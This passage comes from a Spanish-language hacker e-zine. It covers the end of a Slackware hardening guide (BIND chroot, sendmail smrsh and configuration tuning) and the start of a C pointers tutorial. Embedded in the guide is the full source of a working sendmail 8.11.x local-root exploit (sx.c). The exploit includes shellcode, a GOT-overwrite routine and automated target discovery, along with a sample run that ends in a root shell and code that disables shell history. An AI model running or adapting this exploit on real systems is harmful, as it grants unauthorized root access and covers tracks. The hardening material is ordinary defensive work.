  - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - -
               |             |
If there is anything below the next line someone is not following the
rules.  --zen-parse
************************************END*****************************/

[--]

-- cut here --


  3.6.- Vulnerabilidad en sendmail de Slackware
  ---------------------------------------------

  Existe una vulnerabilidad en la funcion de debugging de sendmail de las
  versiones 8.11.0 hasta 8.11.5 que permite obtener privilegios de root
  siendo usuario local.

  Slackware 8 viene con sendmail 8.11.4 y por lo tanto es vulnerable.
  Estan disponibles los paquetes de sendmail 8.11.6 que corrige el fallo y
  de procmail 3.21 para las versiones 8 y 7.1 de Slackware:

  ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/sendmail.tgz
  ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/smailcfg.tgz
  ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/procmail.tgz

  ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/sendmail.tgz
  ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/smailcfg.tgz
  ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/procmail.tgz

  Exploit incluido:

--- cut here (sx.c) --

[++] c0de/sx.c

/*
	sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

	This code exploits well-known local-root bug in sendmail 8.11.x,
	8.12.x may be vulnerable too, but I didn't test it.

	It gives instant root shell with +s sendmail 8.11.x, x < 6

	We're using objdump, gdb & grep in order to obtain VECT, so make sure
	that they're on $PATH, works with 80% accuracy on stripped binaries
	on several distros without changing offsets (rh7.0, rh7.1, suse7.2,
	slackware 8.0...)

	Greetz:

	mlg & smoke : diz is mostly for .ro ppl ;) killall sl3
	sorcerer    : stop da fuckin' asking me how to sploit sm, diz crap
	              is for lamers like you ;))))
	devik       : sm 0wns ;)
	to #linux.cz, #hack ....

	.... and to alot of other ppl, where i can't remeber theyr handles ;)

	args:
	-d     specify depth of analysis (default=32) [bigger = more time]
	-o     change offset (default = -32000) [between 1000..-64000]
	-v     specify victim (default /usr/sbin/sendmail) [+s sm binary]
	-t     specify temp directory (default /tmp/.sxp)
	       [temporary files, should be mounted as nosuid]

	An example (redhat 7.0 CZ):
-------------------------------------------------------------------------------
[sd@pikatchu sxp]$ gcc sx.c -o sx
[sd@localhost sxp]$ ./sx

...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[*] Victim = /usr/sbin/sendmail
[*] Depth  = 32
[*] Offset = -16384
[*] Temp   = /tmp/.sxp
[*] ESP    = 0xbfffe708
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080aa028
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384

Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=0(root)
[root@pikatchu /]# whoami
root
[root@pikatchu /]# exit
exit
Thanx for choosing sd's products ;)
[sd@pikatchu sxp]$
--------------------------------------------------------------------------------

	Enjoy! And don't abuse it too much :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>

#define	SM	"/usr/sbin/sendmail"
#define	OBJDUMP	"objdump"
#define	GDB	"gdb"
#define GREP	"grep"

#define	OURDIR	"/tmp/.sxp"

/* an basic regexp to get interesting stuff from disassembled output
   change it as you like if something doesn't work */

#define	DLINE	"%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\""
#define DLINEA	OBJDUMP, vict, GREP, depth, GREP

#define	BRUTE_DLINE	"%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\""
#define BRUTE_DLINEA	OBJDUMP, vict, GREP


#define NOPLEN	32768

#define uchar unsigned char
#define NOP 0x90

/* 19 bytes ;), shell must be appended */
char shellcode[] =
	"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1"
        "\x89\xe2\xb0\x0b\xcd\x80\xe8\xef"
        "\xff\xff\xff";


char	scode[512];
char	dvict[] = SM;

struct	target {
	uint	off;
	uint	brk;
	uint	vect;
};

unsigned int get_esp()
{
	__asm__("movl %esp,%eax");
}

char	ourdir[256] = OURDIR;

/* cleanup */
void	giveup(int i)
{
	char buf[256];
	sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir);
	system(buf);
	if (i >= 0) exit(i);
}

/* main sploit, stolen mostly from alsou.c ;) */
void	sploit(char *victim, uint got, uint vect, uint ret)
{
	uchar	egg[sizeof(scode) + NOPLEN + 5];
	char	s[512] = "-d";
	char	*argv[3];
	char	*envp[2];
	uint	first, last, i;

	strcpy(egg, "EGG=");
	memset(egg + 4, NOP, NOPLEN);
	strcpy(egg + 4 + NOPLEN, scode);

	last = first = -vect - (0xffffffff - got + 1);
	while (ret) {
		char	tmp[256];
		i = ret & 0xff;
		sprintf(tmp, "%u-%u.%u-", first, last, i);
		strcat(s, tmp);
		last = ++first;
		ret = ret >> 8;
	}
	s[strlen(s) - 1] = 0;
	argv[0] = victim;
	argv[1] = s;
	argv[2] = NULL;
	envp[0] = egg;
	envp[1] = NULL;
	execve(victim, argv, envp);
}

int	use(char *s)
{
	 printf("%s [command] [options]\n"
		"-h     this help\n"
		"-d     specify depth of analysis (default=32)\n"
		"-o     change offset (default = -32000)\n"
		"-v     specify victim (default /usr/sbin/sendmail)\n"
		"-t     specify temp directory (default /tmp/.sxp)\n"
		"-b	enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s);
	return 1;
}

/* exploited flag */
int	exploited = 0;

/* child root-shell will send us SIGUSR if everything is ok */
void	sigusr(int i)
{
	exploited++;
	giveup(-1);
}

int	main(int argc, char *argv[])
{
	char	victim[256] = SM;
	char	vict[256];
	char	gscr[256];
	char	path[256];
	
	char	d[256];
	struct	stat	st;
	FILE	*f;
	char	buf[256];
	int	got;

	struct	target t[1024];
	uint	off, ep, l;
	int	i,j;

	int	offset = -16384;
	int	esp;
	int	depth = 32;
	int	brute = 0;

	/* rootshell (if argv[0] == NULL) */
	if (!*argv) {
		/* open stdin and stdout */
		dup2(2, 0);
		dup2(2, 1);
		setuid(0);	/* regain root privs */
		setgid(0);
		/* send signal to parent that exploit is done */
		kill(getppid(), SIGUSR1);
		/* l-a-m-e ;) */
		printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
		chdir("/");
		system("/usr/bin/id");
		setenv("BASH_HISTORY", "/dev/null", 1);
		execl("/bin/bash", "-bash", NULL);
	}

	printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n"
	       "      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");

	while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
		switch (i) {
			case 'd':
				if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
					return use(argv[0]);
				break;
			case 'o':
				if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
					return use(argv[0]);
				break;
			case 'v':
				if (!optarg) return use(argv[0]);
				strcpy(victim, optarg);
				break;
			case 't':
				if (!optarg) return use(argv[0]);
				strcpy(ourdir, optarg);
				break;
			case 'b':
				brute++;
				break;
			case 'h':
			default:
				return use(argv[0]);
		}
	}
	if (brute) printf("[*] Using brute force, this may take some time\n");
	/* create full path to rootshell, cause
           sendmail will change it's cwd */
	path[0] = 0;
	if (argv[0][0] != '/') {
		getcwd(path, 256);
	}

	/* construct shellcode */
	sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);

	/* get stack frame */
	esp = get_esp();
	close(0);
	signal(SIGUSR1, sigusr);

	/* remove old stuff */
	giveup(-1);

	printf( "[*] Victim = %s\n"
		"[*] Depth  = %d\n"
		"[*] Offset = %d\n"
		"[*] Temp   = %s\n"
		"[*] ESP    = 0x%08x\n",
		victim,
		depth,
		offset,
		ourdir,
		esp);
	stat(victim, &st);
	if ((st.st_mode & S_ISUID) == 0) {
		printf("[-] Bad: %s isn't suid ;(\n", victim);
	}

	if (access(victim, R_OK + X_OK + F_OK) < 0) {
		printf("[-] Bad: We haven't access to %s !\n", victim);
	}

	if (mkdir(ourdir, 0777) < 0) {
		perror("[-] Can't create our tempdir!\n");
		giveup(1);
	}
	printf("[+] Created %s\n", ourdir);
	sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
	f = popen(buf, "r");
	if (fscanf(f, "%x", &got) != 1) {
		pclose(f);
		printf("[-] Cannot get setuid() GOT\n");
		giveup(1);
	}
	/* get GOT */
	pclose(f);
	printf("[+] Step 1. setuid() got = 0x%08x\n", got);
	sprintf(vict, "%s/sm", ourdir);
	printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
	sprintf(buf, "/bin/cp -f %s %s", victim, vict);
	system(buf);
	if (access(vict, R_OK + X_OK + F_OK) < 0) {
		perror("Failed");
		giveup(1);
	}
	printf("OK\n");
	/* disassemble & find targets*/
	printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
	if (!brute) {
		sprintf(buf, DLINE, DLINEA);
	} else {
		sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
	}
	f = popen(buf, "r");
	i = 0;
	while (fgets(buf, 256, f)) {
		int	k, dontadd = 0;
		if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
                    &ep, d, d, d, d, d, d, &off, d) == 9) {
			/* same value ? */
			for (k=0; k < i; k++) {
				if (t[k].off == off) dontadd++;
			}
			/* new value ? */
			if (!dontadd) {
				/* add it to table */
				t[i].off = off;
				t[i++].brk = ep;
			}
		}
	}
	pclose(f);
	printf("OK, found %d targets\n", i);

	/* gdb every target and look for theyr VECT */
	printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
	sprintf(gscr, "%s/gdb", ourdir);

	off = 0;
	for (j=0; j < i; j++) {
		/* create gdb script */
		f = fopen(gscr, "w+");
		if (!f) {
			printf("Cannot create gdb script\n");
			giveup(1);
		}
		fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
		fclose(f);
		sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
		f = popen(buf, "r");
		if (!f) {
			printf("Failed to spawn gdb!\n");
			giveup(1);
		}
		/* scan gdb's output */
		while (1) {
			char buf[256];
			char *p;
			t[j].vect = 0;
			p = fgets(buf, 256, f);
			if (!p) break;
			if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
				t[j].vect = l;
				off++;
				break;
			}
		}
		pclose(f);
		if (t[j].vect) {
			int	pid;
			printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
			fflush(stdout);
			pid = fork();
			if (pid == 0) {
				close(1);
				sploit(victim, got, t[j].vect, esp + offset);
			}
			/* wait until sendmail finishes (expoit failed)
	                   or until SIGUSR arrives */
			wait(NULL);
			/* exploited ?? */
			if (exploited) {
				wait(NULL);	/* kill zombie */
				printf("Thanx for choosing sd's products ;)\n");
				exit(0);
			}
		}
	}
	printf("[-] All targets failed, probably not vulnerable ;(\n");
	giveup(1);
}

/* That's all. */

[--]

--- cut here ---



  4.- Montar BIND chrooted y setuid
  =================================

  La version 9 de BIND que viene con Slackware, permite la ejecucion de BIND
  en un entorno chrooted, es decir "enjaulado" en un directorio. Si
  apareciera algun fallo en el BIND por el cual se pudiera conseguir acceso
  remoto a una maquina, restringiriamos el acceso solo al arbol de
  directorios donde se esta ejecutando BIND. Ademas de esto tambien podemos
  ejecutarlo setuid, para que en lugar de ejecutarse con permisos de root lo
  haga como otro usuario con menos privilegios. Aqui veremos como montar
  esta configuracion de forma sencilla en una Slackware 8.

  Por supuesto, tenemos que tener instalado el paquete n1/bind.tgz. Los
  pasos que seguiremos ssn los siguientes:

  1.- Creamos la jaula
  --------------------

  Encerraremos el BIND dentro del directorio /var/named, creamos la
  estructura de directorios necesaria y el dispositivo /dev/null, del cual
  BIND hace uso:

root@s0:~# cd /var/named
root@s0:/var/named# mkdir -p bin dev etc lib var/run/named var/named/caching-example 
root@s0:/var/named# cd caching-example/ 
root@s0:/var/named/caching-example# cp -R * /var/named/var/named/caching-example/ 
root@s0:/var/named/caching-example# cd .. 
root@s0:/var/named# mknod dev/null c 1 3 


  2.- Buscamos que necesita BIND para funcionar
  ---------------------------------------------

  Al estar linkado dinamicamente, el BIND de slackware depende de varias
  librerias dinamicas, que se encuentran en otros paquetes, y que tendran
  que ser accesibles para BIND dentro de la jaula. Ejecutando el siguiente
  comando almacenaremos los paquetes de Slackware que hacen falta para que
  funcione BIND dentro de la variable de entorno PAQUETES, que usaremos
  posteriormente:

root@s0:/var/named# PAQUETES=`for f in `ldd /usr/sbin/named |cut -f 1 -d = |cut -f 3 -d / |cut -f 1,2 -d .`; do grep $f /var/log/packages/*; done |cut -f 5 -d / |cut -f 1 -d : |sort -u`

  Si queremos ver de que paquetes depende podemos hacer un echo $PAQUETES.


  3.-Instalamos los paquetes necesarios dentro de la jaula
  --------------------------------------------------------

  Necesitamos disponer de los paquetes de Slackware en algun directorio del
  sistema para poder copiarlos dentro de la jaula, suponiendo que tengamos
  montado el cd con la Slackware 8 en /cdrom, ejecutarmamos el siguiente
  comando para obtener las rutas de los paquetes: 

root@s0:/var/named# RUTAS=`for f in $PAQUETES; do find /cdrom -name $f.tgz ; done`

  Si los tenemos en otro directorio (montados por NFS por ejemplo)
  cambiaremos /cdrom por la ruta donde tengamos los paquetes. Una vez
  tengamos localizadas las rutas, vamos a copiar los paquetes dentro de la
  jaula:

root@s0:/var/named# for f in $RUTAS; do cp $f . ; done 

  Ahora descomprimimos los paquetes que hemos copiado: 

root@s0:/var/named# for f in `ls *.tgz`; do explodepkg $f; done 
root@s0:/var/named# rm *.tgz 


  4.- Adaptamos la jaula para que BIND pueda escribir como usuario
      no privilegiado
  -----------------------------------------------------------------

  En lugar de ejecutar BIND con uid de root como se ejecuta por defecto,
  haremos que se ejecute con uid de usuario daemon, para esto tendremos que
  cambiar los permisos de algunos directorios en los que BIND necesita
  escribir:

root@s0:/var/named# chown -R daemon:daemon var/named/ 
root@s0:/var/named# chown -R daemon:daemon var/run/named/ 

  (NOTA: Estamos situados dentro de la jaula!)


  5.- Ejecutamos BIND chrooted y setuid
  -------------------------------------

  Lanzamos BIND de la siguiente forma para que se ejecute encerrado dentro
  de la jaula, y con uid de daemon: 

root@s0:/var/named# /usr/sbin/named -u daemon -t /var/named/

  Dentro de la jaula tendremos tambien muchos ficheros innecesarios,
  pertenecientes a los otros paquetes que hemos instalado y que no estan
  enlazados con BIND, como por ejemplo las paginas man o la documentacisn en
  /usr/doc, los podemos eliminar para ahorrar espacio. Si queremos que el
  BIND arranque chrooted cuando reiniciemos la maquina, tendremos que
  cambiar el fichero /etc/rc.d/rc.inet2 y lanzar el BIND con los mismos
  parametros anterirores.


  5.- Sendmail
  ============


  5.1- SMRSH: Restricted Shell for Sendmail
  -----------------------------------------

  Si vamos a usar sendmail en nuestra maquina es conveniente que hagamos uso
  de smrsh. Con smrsh conseguimos limitar el numero de programas que podran
  ser ejecutados a traves de sendmail usando la funcion "|program", y no
  permite la ejecucion de comandos que contengan los caracteres ` < > ; $
  ( ) \r (retorno de carro), o \n (nueva linea) para prevenir contra ataques
  del tipo "end run" a traves de nuestro sendmail.

  Para configurar smrsh solo tendremos que a~adir una nueva 'feature' al
  fichero mc que utilicemos para generar nuestro sendmail.cf:

FEATURE(`smrsh')dnl

  Una vez a~adido esto al fichero mc, volvemos a generar el cf con m4 y ya
  tenemos un sendmail que utiliza smrsh para ejecutar programas externos.

  Ahora hace falta definir que programas son los que se podran utilizar a
  traves de sendmail. Para ello debemos poner los comandos que queramos
  dentro del directorio /usr/adm/sm.bin. Basta con hacer un link simbolico a
  cada programa en cuestion.

  Si por ejemplo queremos que se pueda usar el comando "vacation" o
  "procmail" en combinacion con sendmail, haremos lo siguiente:

# ln -s /usr/bin/vacation /usr/adm/sm.bin/vacation
# ln -s /usr/bin/procmail /usr/adm/sm.bin/procmail

  y asi con cada programa que deseemos incluir en el directorio
  restringido.

  Para mas informacion: man 8 smrsh.


  5.2- Ajustes de configuracion
  -----------------------------

  Una vez generado el nuevo sendmail.cf es conveniente hacerle unas peque~as
  modificaciones para hacerlo un poco mas seguro. Paso a listarlas a
  continuacion:

# maximum message size
< #O MaxMessageSize=1000000
> O MaxMessageSize=1000000

# checkpoint queue runs after every N successful deliveries
< #O CheckpointInterval=10
> O CheckpointInterval=10

# maximum hop count
< #O MaxHopCount=17
> O MaxHopCount=27

# SMTP daemon options
< O DaemonPortOptions=Name=MTA
< O DaemonPortOptions=Port=587, Name=MSA, M=E
> #O DaemonPortOptions=Name=MTA
> #O DaemonPortOptions=Port=587, Name=MSA, M=E

# privacy flags
< O PrivacyOptions=authwarnings
> #O PrivacyOptions=authwarnings noexpn novrfy
> O PrivacyOptions=goaway

# timeouts (many of these)
< #O Timeout.initial=5m
< #O Timeout.connect=5m
< #O Timeout.iconnect=5m
< #O Timeout.helo=5m
< #O Timeout.mail=10m
< #O Timeout.rcpt=1h
< #O Timeout.datainit=5m
< #O Timeout.datablock=1h
< #O Timeout.datafinal=1h
< #O Timeout.rset=5m
< #O Timeout.quit=2m
< #O Timeout.misc=2m
< #O Timeout.command=1h
< #O Timeout.ident=5s
< #O Timeout.fileopen=60s
< #O Timeout.control=2m
< #O Timeout.queuereturn.normal=5d
< #O Timeout.queuereturn.urgent=2d
< #O Timeout.queuereturn.non-urgent=7d
< #O Timeout.queuewarn.normal=4h
< #O Timeout.queuewarn.urgent=1h
< #O Timeout.queuewarn.non-urgent=12h
< #O Timeout.hoststatus=30m
< #O Timeout.resolver.retrans=5s
< #O Timeout.resolver.retrans.first=5s
< #O Timeout.resolver.retrans.normal=5s
< #O Timeout.resolver.retry=4
< #O Timeout.resolver.retry.first=4
< #O Timeout.resolver.retry.normal=4
> O Timeout.initial=5m
> O Timeout.connect=5m
> O Timeout.iconnect=5m
> O Timeout.helo=5m
> O Timeout.mail=10m
> O Timeout.rcpt=1h
> O Timeout.datainit=5m
> O Timeout.datablock=1h
> O Timeout.datafinal=1h
> O Timeout.rset=5m
> O Timeout.quit=2m
> O Timeout.misc=2m
> O Timeout.command=1h
> O Timeout.ident=5s
> O Timeout.fileopen=60s
> O Timeout.control=2m
> O Timeout.queuereturn.normal=5d
> O Timeout.queuereturn.urgent=2d
> O Timeout.queuereturn.non-urgent=7d
> O Timeout.queuewarn.normal=4h
> O Timeout.queuewarn.urgent=1h
> O Timeout.queuewarn.non-urgent=12h
> O Timeout.hoststatus=30m
> O Timeout.resolver.retrans=5s
> O Timeout.resolver.retrans.first=5s
> O Timeout.resolver.retrans.normal=5s
> O Timeout.resolver.retry=4
> O Timeout.resolver.retry.first=4
> O Timeout.resolver.retry.normal=4

# load average at which we just queue messages
< #O QueueLA=8
> O QueueLA=8

# load average at which we refuse connections
< #O RefuseLA=12
> O RefuseLA=12

# maximum number of children we allow at one time
< #O MaxDaemonChildren=12
> O MaxDaemonChildren=12

# maximum number of new connections per second
< #O ConnectionRateThrottle=0
> O ConnectionRateThrottle=3

# work recipient factor
< #O RecipientFactor=30000
> O RecipientFactor=30000

# how many jobs can you process in the queue?
< #O MaxQueueRunSize=10000
> O MaxQueueRunSize=10000

# SMTP initial login message (old $e macro)
< O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
> O SmtpGreetingMessage=$j

# maximum number of recipients per SMTP envelope
< #O MaxRecipientsPerMessage=100
> O MaxRecipientsPerMessage=100

# Maximum depth of alias recursion
< #O MaxAliasRecursion=10
> O MaxAliasRecursion=10

#   Format of headers   #
<  $.by $j ($v/$Z)$?r with $r$. id $i$?{tls_version}
>  $.by $j with id $i$?{tls_version}



  n-1.- Otros documentos
  ----------------------

  Otros recursos y documentos utiles sobre securizacion de Slackware los
  podeis encontrar en las siguientes direcciones:


  Slackware System Hardening  -  by Jeffrey Denton
  ------------------------------------------------
  http://www.c2i2.com/~dentonj/system-hardening

  Slackware 8.0 lockdown notes  -  by Hank Leininger
  --------------------------------------------------
  http://www.theaimsgroup.com/~hlein/haqs/slack8_postinstall_hap

  Security Tips
  -------------
  http://www.userlocal.com/securitytips.shtml

  Slackware Administrators Security tool kit
  ------------------------------------------
  http://www.sastk.org/


  n.- Licencia
  ============

  Se permite la distribucion de este documento siempre y cuando no se altere
  el contenido del mismo bajo ningun concepto. Si deseas aportar alguna cosa
  o hacer algun comentario ponte en contacto con el autor:

  Pau Oliva Fora (aka pof) - <pau@eSlack.org>
  http://pof.eSlack.org
  Hardening Slackware v0.1 (20011215)
  

<EOF>

-[ 4x04.txt ]----------------------------------------------------------------
-[ Como programar en C en muchos pasos (IV Parte) ]----------------[ Max 5 ]-
---------------------------------------------------------[ max5@otv.org.ve ]-



  Punteros
  --------

  Puntero es la traduccion de la palabra pointer que significa apuntador.
  Basicamente es una variable que contiene una direccion de memoria. Si una
  variable contiene la direccion de otra variable, se dice que la primera
  variable apunta a la segunda.

  Para cada tipo de variable existe un tipo de puntero. Hay punteros tipo
  int, tipo char, etc.. , segun sea el tipo de la variable que se almacena
  en la direccion.

  Logicamente, para declarar un puntero, debemos decir de que tipo es. La
  declaracion debera tener el tipo de la variable, con el nombre precedido
  de un asterisco. Por ejemplo:

  int *numero;

  Es la declaracion de un puntero de tipo entero.

  Para resumir:
  - Un puntero es una variable como cualquier otra.
  - Una variable tipo puntero contiene la direccion de otra variable
    almacenada en otro lugar de la memoria.
  - En este otro lugar, se encuentra almacenado el dato al cual apunta el
    puntero.

  Nunca debe usarse un puntero que no haya sido inicializado, ya que sino
  este contendria un valor impredecible, lo que, con seguridad, causeria
  serios problemas al ejecutarse el programa.

  Para acceder al dato al cual apunta un puntero se utiliza una referencia.
  Una referencia introduce un sinonimo de un objeto. La notacion para
  definir referencias es similar a la de los punteros, excepto que se emplea
  & en vez de *. Por ejemplo, las sentencias:

  int i;
  int *p;

  p = &i;

  Definen p como una referencia a i. Despues de esta definicion, el valor de
  puntero es la direccion de i, es decir que  i y *p se refieren al mismo
  objeto, como si fuera la misma variable.

  El ejemplo V.1 ilustra la declaracion e inicializacion de los punteros asi
  como el uso de referencias. Es fundamental analizar y ejecutar este
  programa hasta entender perfectamente cada sentencia y sus efectos. 


  Ejemplo V.1

#include <stdio.h>

char c;          

main()
{
  char *pc

  pc = &c;
  for (c = 'A'; c <= 'Z'; c++)
    printf("%c", *pc);
  return 0;
}



  Puntero NULL
  ------------

  Un puntero NULL no apunta a ninguna direccion particular. Un puntero NULL
  contiene un valor de 0, unica direccion que un puntero no puede alcanzar.
  Es una manera de decir que "por lo menos por el momento,  este puntero no
  apunta a ninguna direccion valida de la memoria".

  Para chequear si un puntero es valido se usa:

if (fp != NULL);
   sentencia;

  Cuando un puntero se declara como variable global, se inicializa en cero
  es decir NULL. Cuando se declara como variable local, es una buena
  practica inicializar los punteros en NULL.


  Puntero Void
  ------------

  Un puntero Void no apunta a ningun tipo especifico de dato. Es un puntero
  generico que apunta a los datos sin necesidad de precisar previamente su
  tipo.

  Al usar un puntero tipo Void, puede resultar necesario usar un molde para
  ver los datos apuntados en su forma real. Por ejemplo, un programa de base
  de datos puede leer de forma rapida los registros directamente desde los
  sectores del disco, y despues procesar los datos como un arreglo de valores
  double. Un molde permitira indicar al compilador la orden de considerar el
  puntero tipo void como un puntero tipo double.

  Una manera (no necesariamente la mejor) de crear un buffer de datos es
  definir un espacio de memoria y a continuacion crear uno o mas punteros
  apuntando a esta direccion de memoria:

char buffer[1024];
void *bp;
bp = &buffer;

  Aqui se define buffer como un array de 1024 caracteres y bp apunta al primer
  byte de buffer.

  Para que un programa use los datos apuntados con un apuntador tipo void, se
  puede usar un molde. En la declaracion siguiente se supone que c ha sido
  declarada de tipo char:

c = *(char *)bp;

  La expresion (char *) indica al compilador de considerar temporalmente a
  bp como del tipo char.

  Similarmente, si i ha sido declarada como int y el buffer contiene valores
  del tipo int, la declaracion siguiente:

i = *(int *)bp;

  Asigna un valor entero del buffer a la variable i.

  El ejemplo V.2 ilustra estos conceptos. 


Ejemplo V.2

#include <stdio.h>
#include <dos.h>

void DispPointer(void *p);

main()
{
  char buffer[1024];
  void *bp;

  bp = &buffer;        
  *(char *)bp = 'A';  
  buffer[1] = 'B'
  buffer[2] = 0;
    
  printf("Direccion de buffer == ");
  DispPointer(&buffer);
  printf("Datos en buffer == %s", (char *)bp);
  return 0;
}

void DispPointer(void *p)
{
  printf("%04x:%04x\n", FP_SEG(p), FP_OFF(p));
}


  Este programa introduce una funcion DispPointer() que permite visualizar
  el valor almacenado en un puntero. Podria en su lugar haberse usado:

printf("%p\n",p);

  La opcion %p indica a printf de mostrar el contenido de un puntero. Puede
  tambien usarse %Fp para mostrar un puntero lejano (far) con segmento y
  desplazamiento (offset). Conceptualmente, los punteros son valores enteros,
  sin embargo, su forma interna depende de la arquitectura de la memoria de
  la computadora. En los PC 80x86, una direccion de memoria es representada
  por un desplazamiento de 16 bits a partir de una posicion de base llamada
  segmento. Estos punteros de 16 bits, cercanos (near) permiten direccionar
  datos que se encuentran relativamente cercanos - desde 0 hasta 65535 bytes
  por encima de la supuesta extremidad de un segmento. Los punteros lejanos
  contiene tanto el segmento como el desplazamiento, y por lo tanto permiten
  alcanzar cualquier lugar de la memoria.

  Para extraer los valores del segmento y del desplazamiento, la funcion
  DispPointer() usa dos macros, FP_SEG y FP_OFF, definidos en dos.h. Para
  cualquier puntero, la expresion FP_SEG(p) contiene el valor de su segmento
  y FP_OFF(p) el valor de su desplazamiento. Pueden usarse estas expresiones
  siempre y cuando se permitan usar enteros unsigned.

  Para experimentar con la versatilidad de los punteros void, podemos agregar
  inmediatamente despues de la linea 9 del listado del ejemplo anterior las
  siguientes sentencias:

double f = 3.14159;
double *fp = &f;
printf("*fp == %f\n", *fp);
printf("fp == ");
DispPointer(fp);



  Punteros y Variables Dinamicas
  ------------------------------

  Hasta el momento siempre se han almacenado los valores en variables
  globales o locales. Estas variables tienen una caracteristica comun: al
  compilar el codigo, se reserva un espacio de memoria para su
  almacenamiento.

  Otra tecnica permite asignar el espacio para las variables en tiempo de
  ejecucion.

  Dichas variables son dinamicas; se crean a la demanda y se almacenan en un
  bloque de memoria de tama~o variable conocido como el "monton" (heap).

  Este tipo de variables siempre se direcciona con un puntero. Puede
  considerarse el monton como un espacio de memoria mas amplio que el espacio
  generalmente disponible para almacenar las variables globales y locales, y
  por consiguiente mas adaptado al almacenamiento de los buffers grandes y de
  las estructuras de datos,  ya que su tama~o varia en funcion de la
  necesidad de acomodar cantidades variables de informacion.

  Una de las tecnicas mas usadas para fijar el tama~o del monton utiliza
  malloc() de alloc.h:

#include <alloc.h
......
char *sp;

sp = malloc(129);

  129 es el numero de bytes que se reservan. Ya que malloc( ) regresa un
  puntero void, algunos autores prefieren usar:

sp = (char *)malloc(129);

  Despues de eso, sp apunta a un bloque de 129 bytes, siendo este ultimo de
  uso exclusivo de sp. La sentencia puede fallar si el monton esta lleno o
  no dispone de suficiente espacio para acomodar los 129 bytes. En este caso
  malloc() regresa un valor null, lo que puede usarse en la codificacion:

sp = malloc(129);
if (sp == NULL)
   error();

o:

sp = malloc(129);
if   (sp)
  sentencia;

  Lo que es identico a:

if ((sp = malloc(129)) != NULL)
  sentencia;


  Para copiar una cadena de caracteres en la memoria apuntada por sp, se
  puede utilizar:


#include <string.h>

char *sp;
sp = malloc(129);
if (sp)
   strcpy(sp, "Colocame en el monton!")

  Los punteros permiten direccionar las variables dinamicas de cualquier
  tipo, por ejemplo:

double *v;

v = malloc(n);

  Para evitar tener que decidir del valor de n, se usa:

v = malloc(sizeof(double));

  Despues de estas sentencias puede usarse *v como una variable double, por
  ejemplo:

*v = 3.14159

  Que asigna el valor de Pi al espacio de memoria reservado para v y:

printf("Valor == %f\n", *v);

  Muestra el valor almacenado en el monton.

  En vez de malloc(), puede usarse tambien calloc() de alloc.h. Esta funcion
  requiere de dos argumentos, a saber, el numero de objetos que se quiere
  asignar y el tama~o de un objeto:

long *p;
p = calloc(1, sizeof(long));

  Estas sentencias reservan un espacio para un valor long y asignan la
  direccion de este espacio a p. Para reservar 10 objetos, se puede escribir:

p = calloc(10, sizeof(long));

  En la practica:

p = calloc(sizeof(long), 10);

  Reserva la misma cantidad de espacio que la sentencia anterior. calloc(),
  ademas de reservar la memoria, coloca todos los bytes reservados en 0.

  Cuando se termina de usar un bloque de memoria reservado, este debe
  liberarse con free(), para poder reusarlo con malloc(), calloc(), etc...:

char *s;
s = malloc(256);
..........
free(s);


  Punteros y estructuras de datos
  -------------------------------

  De la misma manera que los punteros apuntan a variables, ellos pueden
  apuntar a arreglos y estructuras.

  En realidad existe una estrecha relacion entre los punteros y los arreglos.
  Como ya lo hemos visto, los arreglos son una coleccion de una o varias
  variables del mismo tipo de datos. Si coleccion es un arreglo, la expresion
  coleccion[0] se refiere al primer elemento del arreglo. En un cierto
  sentido, puede considerarse que esta expresion apunta al primer elemento
